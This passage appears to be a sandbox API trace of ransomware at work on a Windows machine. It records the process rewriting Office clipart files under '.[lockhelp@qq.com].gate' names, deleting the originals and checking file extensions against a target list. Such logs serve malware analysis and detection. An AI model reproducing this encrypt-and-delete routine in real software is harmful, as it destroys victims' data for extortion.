Office\\root\\CLIPART\\PUB60COR\\HH00057_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00057_.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x414 [0301.670] GetLastError () returned 0x0 [0301.670] ReadFile (in: hFile=0x538, lpBuffer=0x3fae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesRead=0x34ffecc*=0xeb4, lpOverlapped=0x0) returned 1 [0301.722] WriteFile (in: hFile=0x414, lpBuffer=0x3fae020*, nNumberOfBytesToWrite=0xec0, lpNumberOfBytesWritten=0x34ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesWritten=0x34ffc94*=0xec0, lpOverlapped=0x0) returned 1 [0301.722] ReadFile (in: hFile=0x538, lpBuffer=0x3fae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesRead=0x34ffecc*=0x0, lpOverlapped=0x0) returned 1 [0301.722] WriteFile (in: hFile=0x414, lpBuffer=0x3fae020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x34ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesWritten=0x34ffc94*=0xec, lpOverlapped=0x0) returned 1 [0301.722] SetEndOfFile (hFile=0x414) returned 1 [0301.723] CloseHandle (hObject=0x414) returned 1 [0301.723] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0301.723] SetEndOfFile (hFile=0x538) returned 1 [0301.725] CloseHandle (hObject=0x538) returned 1 [0301.725] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00057_.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0301.769] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00057_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00057_.wmf")) returned 1 [0301.770] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00057_.WMF") returned 68 [0301.770] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00057_.WMF") returned 68 [0301.770] lstrlenW (lpString=".doc") returned 4 [0301.770] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0301.770] lstrlenW (lpString=".docx") returned 5 [0301.770] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0301.770] lstrlenW (lpString=".pdf") returned 4 [0301.770] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0301.770] lstrlenW (lpString=".xls") returned 4 [0301.770] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0301.770] lstrlenW (lpString=".xlsx") returned 5 [0301.770] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0301.770] lstrlenW (lpString=".ppt") returned 4 [0301.771] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0301.771] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00057_.WMF") returned 68 [0301.771] lstrlenW (lpString=".zip") returned 4 [0301.771] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0301.771] lstrlenW (lpString=".rar") returned 4 [0301.771] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0301.771] lstrlenW (lpString=".bz2") returned 4 [0301.771] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0301.771] lstrlenW (lpString=".7z") returned 3 [0301.771] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0301.771] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00057_.WMF") returned 68 [0301.771] lstrlenW (lpString=".dbf") returned 4 [0301.771] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0301.771] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00057_.WMF") returned 68 [0301.771] lstrlenW (lpString=".1cd") returned 4 [0301.771] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0301.771] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00057_.WMF") returned 68 [0301.771] lstrlenW (lpString=".jpg") returned 4 [0301.771] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0301.771] GetFileSizeEx (in: hFile=0x414, lpFileSize=0x34fff14 | out: lpFileSize=0x34fff14*=14688) returned 1 [0301.771] CloseHandle (hObject=0x414) returned 1 [0301.771] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00524_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00524_.wmf")) returned 0x220 [0301.772] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00524_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00524_.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0301.772] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00524_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00524_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x414 [0301.772] SetFilePointerEx (in: hFile=0x414, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0301.772] SetFilePointerEx (in: hFile=0x414, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0301.772] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00524_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00524_.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c0 [0301.773] GetLastError () returned 0x0 [0301.773] ReadFile (in: hFile=0x414, lpBuffer=0x3fae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesRead=0x34ffecc*=0x3960, lpOverlapped=0x0) returned 1 [0301.809] WriteFile (in: hFile=0x4c0, lpBuffer=0x3fae020*, nNumberOfBytesToWrite=0x3970, lpNumberOfBytesWritten=0x34ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesWritten=0x34ffc94*=0x3970, lpOverlapped=0x0) returned 1 [0301.811] ReadFile (in: hFile=0x414, lpBuffer=0x3fae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesRead=0x34ffecc*=0x0, lpOverlapped=0x0) returned 1 [0301.811] WriteFile (in: hFile=0x4c0, lpBuffer=0x3fae020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x34ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesWritten=0x34ffc94*=0xec, lpOverlapped=0x0) returned 1 [0301.811] SetEndOfFile (hFile=0x4c0) returned 1 [0301.811] CloseHandle (hObject=0x4c0) returned 1 [0301.811] SetFilePointerEx (in: hFile=0x414, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0301.811] SetEndOfFile (hFile=0x414) returned 1 [0301.814] CloseHandle (hObject=0x414) returned 1 [0301.814] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00524_.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0301.844] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00524_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00524_.wmf")) returned 1 [0301.844] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00524_.WMF") returned 68 [0301.844] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00524_.WMF") returned 68 [0301.844] lstrlenW (lpString=".doc") returned 4 [0301.845] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0301.845] lstrlenW (lpString=".docx") returned 5 [0301.845] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0301.845] lstrlenW (lpString=".pdf") returned 4 [0301.845] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0301.845] lstrlenW (lpString=".xls") returned 4 [0301.845] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0301.845] lstrlenW (lpString=".xlsx") returned 5 [0301.845] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0301.845] lstrlenW (lpString=".ppt") returned 4 [0301.845] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0301.845] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00524_.WMF") returned 68 [0301.845] lstrlenW (lpString=".zip") returned 4 [0301.845] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0301.845] lstrlenW (lpString=".rar") returned 4 [0301.845] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0301.845] lstrlenW (lpString=".bz2") returned 4 [0301.845] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0301.845] lstrlenW (lpString=".7z") returned 3 [0301.845] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0301.845] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00524_.WMF") returned 68 [0301.845] lstrlenW (lpString=".dbf") returned 4 [0301.845] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0301.845] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00524_.WMF") returned 68 [0301.845] lstrlenW (lpString=".1cd") returned 4 [0301.845] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0301.845] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00524_.WMF") returned 68 [0301.845] lstrlenW (lpString=".jpg") returned 4 [0301.845] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0301.846] GetFileSizeEx (in: hFile=0x414, lpFileSize=0x34fff14 | out: lpFileSize=0x34fff14*=1468) returned 1 [0301.846] CloseHandle (hObject=0x414) returned 1 [0301.846] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00601_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00601_.wmf")) returned 0x220 [0301.846] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00601_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00601_.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0301.846] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00601_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00601_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x414 [0301.847] SetFilePointerEx (in: hFile=0x414, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0301.847] SetFilePointerEx (in: hFile=0x414, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0301.847] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00601_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00601_.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c0 [0301.848] GetLastError () returned 0x0 [0301.848] ReadFile (in: hFile=0x414, lpBuffer=0x3fae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesRead=0x34ffecc*=0x5bc, lpOverlapped=0x0) returned 1 [0301.875] WriteFile (in: hFile=0x4c0, lpBuffer=0x3fae020*, nNumberOfBytesToWrite=0x5c0, lpNumberOfBytesWritten=0x34ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesWritten=0x34ffc94*=0x5c0, lpOverlapped=0x0) returned 1 [0301.876] ReadFile (in: hFile=0x414, lpBuffer=0x3fae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesRead=0x34ffecc*=0x0, lpOverlapped=0x0) returned 1 [0301.877] WriteFile (in: hFile=0x4c0, lpBuffer=0x3fae020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x34ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesWritten=0x34ffc94*=0xec, lpOverlapped=0x0) returned 1 [0301.877] SetEndOfFile (hFile=0x4c0) returned 1 [0301.877] CloseHandle (hObject=0x4c0) returned 1 [0301.877] SetFilePointerEx (in: hFile=0x414, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0301.877] SetEndOfFile (hFile=0x414) returned 1 [0301.879] CloseHandle (hObject=0x414) returned 1 [0301.879] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00601_.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0301.904] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00601_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00601_.wmf")) returned 1 [0301.905] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00601_.WMF") returned 68 [0301.905] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00601_.WMF") returned 68 [0301.905] lstrlenW (lpString=".doc") returned 4 [0301.905] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0301.905] lstrlenW (lpString=".docx") returned 5 [0301.905] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0301.905] lstrlenW (lpString=".pdf") returned 4 [0301.905] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0301.905] lstrlenW (lpString=".xls") returned 4 [0301.905] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0301.905] lstrlenW (lpString=".xlsx") returned 5 [0301.905] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0301.905] lstrlenW (lpString=".ppt") returned 4 [0301.905] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0301.905] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00601_.WMF") returned 68 [0301.905] lstrlenW (lpString=".zip") returned 4 [0301.905] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0301.905] lstrlenW (lpString=".rar") returned 4 [0301.905] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0301.905] lstrlenW (lpString=".bz2") returned 4 [0301.905] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0301.905] lstrlenW (lpString=".7z") returned 3 [0301.905] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0301.905] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00601_.WMF") returned 68 [0301.905] lstrlenW (lpString=".dbf") returned 4 [0301.905] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0301.905] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00601_.WMF") returned 68 [0301.905] lstrlenW (lpString=".1cd") returned 4 [0301.905] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0301.905] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00601_.WMF") returned 68 [0301.905] lstrlenW (lpString=".jpg") returned 4 [0301.905] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0301.906] GetFileSizeEx (in: hFile=0x50c, lpFileSize=0x34fff14 | out: lpFileSize=0x34fff14*=10644) returned 1 [0301.906] CloseHandle (hObject=0x50c) returned 1 [0301.906] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00623_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00623_.wmf")) returned 0x220 [0301.906] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00623_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00623_.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0301.906] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00623_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00623_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x50c [0301.906] SetFilePointerEx (in: hFile=0x50c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0301.907] SetFilePointerEx (in: hFile=0x50c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0301.907] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00623_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00623_.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x514 [0301.907] GetLastError () returned 0x0 [0301.907] ReadFile (in: hFile=0x50c, lpBuffer=0x3fae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesRead=0x34ffecc*=0x2994, lpOverlapped=0x0) returned 1 [0301.952] WriteFile (in: hFile=0x514, lpBuffer=0x3fae020*, nNumberOfBytesToWrite=0x29a0, lpNumberOfBytesWritten=0x34ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesWritten=0x34ffc94*=0x29a0, lpOverlapped=0x0) returned 1 [0301.953] ReadFile (in: hFile=0x50c, lpBuffer=0x3fae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesRead=0x34ffecc*=0x0, lpOverlapped=0x0) returned 1 [0301.953] WriteFile (in: hFile=0x514, lpBuffer=0x3fae020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x34ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesWritten=0x34ffc94*=0xec, lpOverlapped=0x0) returned 1 [0301.953] SetEndOfFile (hFile=0x514) returned 1 [0301.953] CloseHandle (hObject=0x514) returned 1 [0301.953] SetFilePointerEx (in: hFile=0x50c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0301.953] SetEndOfFile (hFile=0x50c) returned 1 [0301.962] CloseHandle (hObject=0x50c) returned 1 [0301.962] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00623_.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0302.001] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00623_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00623_.wmf")) returned 1 [0302.002] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00623_.WMF") returned 68 [0302.002] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00623_.WMF") returned 68 [0302.002] lstrlenW (lpString=".doc") returned 4 [0302.002] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0302.002] lstrlenW (lpString=".docx") returned 5 [0302.002] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0302.002] lstrlenW (lpString=".pdf") returned 4 [0302.002] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0302.002] lstrlenW (lpString=".xls") returned 4 [0302.002] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0302.002] lstrlenW (lpString=".xlsx") returned 5 [0302.002] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0302.002] lstrlenW (lpString=".ppt") returned 4 [0302.002] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0302.002] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00623_.WMF") returned 68 [0302.003] lstrlenW (lpString=".zip") returned 4 [0302.003] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0302.003] lstrlenW (lpString=".rar") returned 4 [0302.003] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0302.003] lstrlenW (lpString=".bz2") returned 4 [0302.003] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0302.003] lstrlenW (lpString=".7z") returned 3 [0302.003] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0302.003] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00623_.WMF") returned 68 [0302.003] lstrlenW (lpString=".dbf") returned 4 [0302.003] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0302.003] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00623_.WMF") returned 68 [0302.003] lstrlenW (lpString=".1cd") returned 4 [0302.003] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0302.003] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00623_.WMF") returned 68 [0302.003] lstrlenW (lpString=".jpg") returned 4 [0302.003] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0302.003] GetFileSizeEx (in: hFile=0x50c, lpFileSize=0x34fff14 | out: lpFileSize=0x34fff14*=4032) returned 1 [0302.003] CloseHandle (hObject=0x50c) returned 1 [0302.003] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00685_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00685_.wmf")) returned 0x220 [0302.004] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00685_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00685_.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0302.004] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00685_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00685_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x50c [0302.004] SetFilePointerEx (in: hFile=0x50c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0302.005] SetFilePointerEx (in: hFile=0x50c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0302.005] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00685_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00685_.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b8 [0302.005] GetLastError () returned 0x0 [0302.005] ReadFile (in: hFile=0x50c, lpBuffer=0x3fae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesRead=0x34ffecc*=0xfc0, lpOverlapped=0x0) returned 1 [0302.067] WriteFile (in: hFile=0x4b8, lpBuffer=0x3fae020*, nNumberOfBytesToWrite=0xfd0, lpNumberOfBytesWritten=0x34ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesWritten=0x34ffc94*=0xfd0, lpOverlapped=0x0) returned 1 [0302.068] ReadFile (in: hFile=0x50c, lpBuffer=0x3fae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesRead=0x34ffecc*=0x0, lpOverlapped=0x0) returned 1 [0302.068] WriteFile (in: hFile=0x4b8, lpBuffer=0x3fae020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x34ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesWritten=0x34ffc94*=0xec, lpOverlapped=0x0) returned 1 [0302.068] SetEndOfFile (hFile=0x4b8) returned 1 [0302.072] CloseHandle (hObject=0x4b8) returned 1 [0302.072] SetFilePointerEx (in: hFile=0x50c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0302.072] SetEndOfFile (hFile=0x50c) returned 1 [0302.097] CloseHandle (hObject=0x50c) returned 1 [0302.097] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00685_.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0302.216] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00685_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00685_.wmf")) returned 1 [0302.217] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00685_.WMF") returned 68 [0302.217] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00685_.WMF") returned 68 [0302.217] lstrlenW (lpString=".doc") returned 4 [0302.217] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0302.217] lstrlenW (lpString=".docx") returned 5 [0302.217] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0302.217] lstrlenW 